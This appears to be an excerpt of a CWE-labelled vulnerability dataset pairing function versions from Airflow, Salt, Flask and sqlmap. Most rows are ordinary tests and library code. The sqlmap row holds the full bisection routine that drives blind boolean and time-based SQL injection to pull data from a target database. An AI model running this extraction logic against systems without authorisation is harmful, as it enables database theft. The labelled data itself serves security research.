        assert glue.job_name == JOB_NAME",CWE-703,apache/airflow,1f0174931b6ea88fce4539bbc99e42f7da84fac3,"def test_execute_with_verbose_logging(
        self, mock_load_file, mock_get_conn, mock_initialize_job, mock_get_job_state, mock_print_job_logs
    ):
        glue = GlueJobOperator(
            task_id=TASK_ID,
            job_name=JOB_NAME,
            script_location=""s3_uri"",
            s3_bucket=""bucket_name"",
            iam_role_name=""role_arn"",
            verbose=True,
        )
        mock_initialize_job.return_value = {""JobRunState"": ""RUNNING"", ""JobRunId"": JOB_RUN_ID}
        mock_get_job_state.return_value = ""SUCCEEDED""

        glue.execute(mock.MagicMock())

        mock_initialize_job.assert_called_once_with({}, {})
        mock_print_job_logs.assert_called_once_with(
            job_name=JOB_NAME,
            run_id=JOB_RUN_ID,
            job_failed=False,
            next_token=None,
        )
        assert glue.job_name == JOB_NAME"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/upgrade/rules/import_changes.py,0,"def old_path_without_classname(self):
        part = self.old_path.split(""."")
        part.pop()
        return ""."".join(part)",CWE-Unknown,apache/airflow,6edf6aa19a64a20832904336ddf7728c7b77a098,"def old_path_without_classname(self):
        part = self.old_path.split(""."")
        part.pop()
        return ""."".join(part)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/file/test_keyvalue.py,1,"def test_file_keyvalue_not_dict(tmp_path):
    """"""
    test file.keyvalue when key_values not a dict
    """"""
    contents = dedent(
        """"""\
        #PermitRootLogin prohibit-password
        #StrictMode yes
        """"""
    )
    with pytest.helpers.temp_file(
        ""tempfile"", contents=contents, directory=tmp_path
    ) as tempfile:
        ret = filestate.keyvalue(
            name=str(tempfile),
            key_values=[""PermiteRootLogin"", ""yes""],
            separator="" "",
            uncomment=""#"",
            key_ignore_case=True,
        )

        assert (
            ret[""comment""]
            == ""file.keyvalue key and value not supplied and key_values is not a dictionary""
        )
        f_contents = tempfile.read_text()
        assert ""PermitRootLogin yes"" not in f_contents
        assert ""#StrictMode yes"" in f_contents",CWE-703,saltstack/salt,abadd4a6d91ae382b2e6e744fcf921512515f4ad,"def test_file_keyvalue_not_dict(tmp_path):
    """"""
    test file.keyvalue when key_values not a dict
    """"""
    contents = dedent(
        """"""\
        #PermitRootLogin prohibit-password
        #StrictMode yes
        """"""
    )
    with pytest.helpers.temp_file(
        ""tempfile"", contents=contents, directory=tmp_path
    ) as tempfile:
        ret = filestate.keyvalue(
            name=str(tempfile),
            key_values=[""PermiteRootLogin"", ""yes""],
            separator="" "",
            uncomment=""#"",
            key_ignore_case=True,
        )

        assert (
            ret[""comment""]
            == ""file.keyvalue key and value not supplied and key_values is not a dictionary""
        )
        f_contents = tempfile.read_text()
        assert ""PermitRootLogin yes"" not in f_contents
        assert ""#StrictMode yes"" in f_contents"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/scaffold.py,0,"def __init__(
        self,
        import_name: str,
        static_folder: t.Optional[t.Union[str, os.PathLike]] = None,
        static_url_path: t.Optional[str] = None,
        template_folder: t.Optional[str] = None,
        root_path: t.Optional[str] = None,
    ):
        #: The name of the package or module that this object belongs
        #: to. Do not change this once it is set by the constructor.
        self.import_name = import_name

        self.static_folder = static_folder  # type: ignore
        self.static_url_path = static_url_path

        #: The path to the templates folder, relative to
        #: :attr:`root_path`, to add to the template loader. ``None`` if
        #: templates should not be added.
        self.template_folder = template_folder

        if root_path is None:
            root_path = get_root_path(self.import_name)

        #: Absolute path to the package on the filesystem. Used to look
        #: up resources contained in the package.
        self.root_path = root_path

        #: The Click command group for registering CLI commands for this
        #: object. The commands are available from the ``flask`` command
        #: once the application has been discovered and blueprints have
        #: been registered.
        self.cli = AppGroup()

        #: A dictionary mapping endpoint names to view functions.
        #:
        #: To register a view function, use the :meth:`route` decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.view_functions: t.Dict[str, t.Callable] = {}

        #: A data structure of registered error handlers, in the format
        #: ``{scope: {code: {class: handler}}}```. The ``scope`` key is
        #: the name of a blueprint the handlers are active for, or
        #: ``None`` for all requests. The ``code`` key is the HTTP
        #: status code for ``HTTPException``, or ``None`` for
        #: other exceptions. The innermost dictionary maps exception
        #: classes to handler functions.
        #:
        #: To register an error handler, use the :meth:`errorhandler`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.error_handler_spec: t.Dict[
            AppOrBlueprintKey,
            t.Dict[
                t.Optional[int],
                t.Dict[t.Type[Exception], ""ErrorHandlerCallable[Exception]""],
            ],
        ] = defaultdict(lambda: defaultdict(dict))

        #: A data structure of functions to call at the beginning of
        #: each request, in the format ``{scope: [functions]}``. The
        #: ``scope`` key is the name of a blueprint the functions are
        #: active for, or ``None`` for all requests.
        #:
        #: To register a function, use the :meth:`before_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.before_request_funcs: t.Dict[
            AppOrBlueprintKey, t.List[BeforeRequestCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call at the end of each
        #: request, in the format ``{scope: [functions]}``. The
        #: ``scope`` key is the name of a blueprint the functions are
        #: active for, or ``None`` for all requests.
        #:
        #: To register a function, use the :meth:`after_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.after_request_funcs: t.Dict[
            AppOrBlueprintKey, t.List[AfterRequestCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call at the end of each
        #: request even if an exception is raised, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`teardown_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.teardown_request_funcs: t.Dict[
            AppOrBlueprintKey, t.List[TeardownCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call to pass extra context
        #: values when rendering templates, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`context_processor`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.template_context_processors: t.Dict[
            AppOrBlueprintKey, t.List[TemplateContextProcessorCallable]
        ] = defaultdict(list, {None: [_default_template_ctx_processor]})

        #: A data structure of functions to call to modify the keyword
        #: arguments passed to the view function, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the
        #: :meth:`url_value_preprocessor` decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.url_value_preprocessors: t.Dict[
            AppOrBlueprintKey,
            t.List[URLValuePreprocessorCallable],
        ] = defaultdict(list)

        #: A data structure of functions to call to modify the keyword
        #: arguments when generating URLs, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`url_defaults`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.url_default_functions: t.Dict[
            AppOrBlueprintKey, t.List[URLDefaultCallable]
        ] = defaultdict(list)",,pallets/flask,06cf349bb8b69d9946c3a6a64d32eb552cc7c28b,"def __init__(
        self,
        import_name: str,
        static_folder: t.Optional[str] = None,
        static_url_path: t.Optional[str] = None,
        template_folder: t.Optional[str] = None,
        root_path: t.Optional[str] = None,
    ):
        #: The name of the package or module that this object belongs
        #: to. Do not change this once it is set by the constructor.
        self.import_name = import_name

        self.static_folder = static_folder
        self.static_url_path = static_url_path

        #: The path to the templates folder, relative to
        #: :attr:`root_path`, to add to the template loader. ``None`` if
        #: templates should not be added.
        self.template_folder = template_folder

        if root_path is None:
            root_path = get_root_path(self.import_name)

        #: Absolute path to the package on the filesystem. Used to look
        #: up resources contained in the package.
        self.root_path = root_path

        #: The Click command group for registering CLI commands for this
        #: object. The commands are available from the ``flask`` command
        #: once the application has been discovered and blueprints have
        #: been registered.
        self.cli = AppGroup()

        #: A dictionary mapping endpoint names to view functions.
        #:
        #: To register a view function, use the :meth:`route` decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.view_functions: t.Dict[str, t.Callable] = {}

        #: A data structure of registered error handlers, in the format
        #: ``{scope: {code: {class: handler}}}```. The ``scope`` key is
        #: the name of a blueprint the handlers are active for, or
        #: ``None`` for all requests. The ``code`` key is the HTTP
        #: status code for ``HTTPException``, or ``None`` for
        #: other exceptions. The innermost dictionary maps exception
        #: classes to handler functions.
        #:
        #: To register an error handler, use the :meth:`errorhandler`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.error_handler_spec: t.Dict[
            AppOrBlueprintKey,
            t.Dict[
                t.Optional[int],
                t.Dict[t.Type[Exception], ""ErrorHandlerCallable[Exception]""],
            ],
        ] = defaultdict(lambda: defaultdict(dict))

        #: A data structure of functions to call at the beginning of
        #: each request, in the format ``{scope: [functions]}``. The
        #: ``scope`` key is the name of a blueprint the functions are
        #: active for, or ``None`` for all requests.
        #:
        #: To register a function, use the :meth:`before_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.before_request_funcs: t.Dict[
            AppOrBlueprintKey, t.List[BeforeRequestCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call at the end of each
        #: request, in the format ``{scope: [functions]}``. The
        #: ``scope`` key is the name of a blueprint the functions are
        #: active for, or ``None`` for all requests.
        #:
        #: To register a function, use the :meth:`after_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.after_request_funcs: t.Dict[
            AppOrBlueprintKey, t.List[AfterRequestCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call at the end of each
        #: request even if an exception is raised, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`teardown_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.teardown_request_funcs: t.Dict[
            AppOrBlueprintKey, t.List[TeardownCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call to pass extra context
        #: values when rendering templates, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`context_processor`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.template_context_processors: t.Dict[
            AppOrBlueprintKey, t.List[TemplateContextProcessorCallable]
        ] = defaultdict(list, {None: [_default_template_ctx_processor]})

        #: A data structure of functions to call to modify the keyword
        #: arguments passed to the view function, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the
        #: :meth:`url_value_preprocessor` decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.url_value_preprocessors: t.Dict[
            AppOrBlueprintKey,
            t.List[URLValuePreprocessorCallable],
        ] = defaultdict(list)

        #: A data structure of functions to call to modify the keyword
        #: arguments when generating URLs, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`url_defaults`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.url_default_functions: t.Dict[
            AppOrBlueprintKey, t.List[URLDefaultCallable]
        ] = defaultdict(list)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/blind/inference.py,0,"def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """"""

    abortedFlag = False
    partialValue = u""""
    finalValue = None
    retrievedLength = 0
    asciiTbl = getCharset(charsetType)
    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, """")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = ""resumed: %s"" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case ""common prediction"" feature (a.k.a. ""good
        # samaritan"") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif hasattr(conf, ""api""):
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif ""LENGTH("" in expression.upper() or ""LEN("" in expression.upper():
            firstChar = 0
        elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
        elif firstChar is None:
            firstChar = 0
        elif (isinstance(firstChar, basestring) and firstChar.isdigit()) or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1

        if ""LENGTH("" in expression.upper() or ""LEN("" in expression.upper():
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif lastChar in (None, ""0""):
            lastChar = 0
        elif (isinstance(lastChar, basestring) and lastChar.isdigit()) or isinstance(lastChar, int):
            lastChar = int(lastChar)

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if length and isinstance(length, basestring) and length.isdigit():
            length = int(length)

        if length == 0:
            return 0, """"

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length)

        if showEta:
            progress = ProgressBar(maxValue=length)
            progressTime = []

        if timeBasedCompare and conf.threads > 1:
            warnMsg = ""multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically""
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare:
                debugMsg = ""starting %d thread%s"" % (numThreads, (""s"" if numThreads > 1 else """"))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = ""running in a single-thread mode. Please consider ""
            warnMsg += ""usage of option '--threads' for faster data retrieval""
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, ""api""):
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout(""[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), ""_"" * min(length, conf.progressWidth)))
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
            else:
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """"""
            Used in time-based inference (in case that original and retrieved
            value are not equal there will be a deliberate delay).
            """"""

            if CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
            incrementCounter(kb.technique)

            return not result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(asciiTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        conf.timeSec += 1

                                        warnMsg = ""increasing time delay to %d second%s "" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                        logger.warn(warnMsg)

                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                            dbgMsg = ""turning off time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        # If we are working with non-continuous elements, set
                        # both minValue and character afterwards are possible
                        # candidates
                        for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None

        def etaProgressUpdate(charTime, index):
            if len(progressTime) <= ((length * 3) / 100):
                eta = 0
            else:
                midTime = sum(progressTime) / len(progressTime)
                midTimeWithLatest = (midTime + charTime) / 2
                eta = midTimeWithLatest * (length - index) / conf.threads

            progressTime.append(charTime)
            progress.update(index)
            progress.draw(eta)

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData = getCurrentThreadData()

            threadData.shared.value = [None] * length
            threadData.shared.index = [firstChar]    # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] - firstChar >= length:
                            kb.locks.index.release()

                            return

                        threadData.shared.index[0] += 1
                        curidx = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(curidx)
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[curidx - 1 - firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = '..' + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + '..'

                                if conf.verbose in (1, 2) and not showEta and not hasattr(conf, ""api""):
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
                                    output += status if _ != length else "" "" * len(status)

                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target url was lost
            if None in value:
                partialValue = """".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = ""\r[%s] [INFO] partially retrieved: %s"" % (time.strftime(""%X""), filterControlChars(partialValue))
            else:
                finalValue = """".join(value)
                infoMsg = ""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, ""api""):
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar

            while True:
                index += 1
                charStart = time.time()

                # Common prediction feature (a.k.a. ""good samaritan"")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(""'%s'"" % commonValue) if ""'"" not in commonValue else unescaper.escape(""%s"" % commonValue, quote=False)

                        if timeBasedCompare:
                            query = kb.injection.data[kb.technique].vector.replace(""[RANDNUM]"", testValue)
                            query = agent.prefixQuery(query.replace(""[INFERENCE]"", ""(%s)=%s"" % (expressionUnescaped, testValue)))
                        else:
                            query = agent.prefixQuery(safeStringFormat(""AND (%s)=%s"", (expressionUnescaped, testValue)))

                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, len(commonValue))
                            elif conf.verbose in (1, 2) or hasattr(conf, ""api""):
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.escape(""'%s'"" % commonPattern) if ""'"" not in commonPattern else unescaper.escape(""%s"" % commonPattern, quote=False)

                        if timeBasedCompare:
                            query = kb.injection.data[kb.technique].vector.replace(""[RANDNUM]"", testValue)
                            query = agent.prefixQuery(query.replace(""[INFERENCE]"", ""(%s)=%s"" % (subquery, testValue)))
                        else:
                            query = agent.prefixQuery(safeStringFormat(""AND (%s)=%s"", (subquery, testValue)))

                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl)

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                partialValue += val

                if showEta:
                    etaProgressUpdate(time.time() - charStart, index)
                elif conf.verbose in (1, 2) or hasattr(conf, ""api""):
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = """" if length == 0 else partialValue
                    finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or """")

        if finalValue is not None:
            finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, ""%s%s"" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag and not hasattr(conf, ""api""):
        infoMsg = ""\r[%s] [INFO] retrieved: %s  %s\n"" % (time.strftime(""%X""), filterControlChars(finalValue), "" "" * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) or showEta and not hasattr(conf, ""api""):
            dataToStdout(""\n"")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = ""retrieved: %s"" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(""something unexpected happened inside the threads"")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue
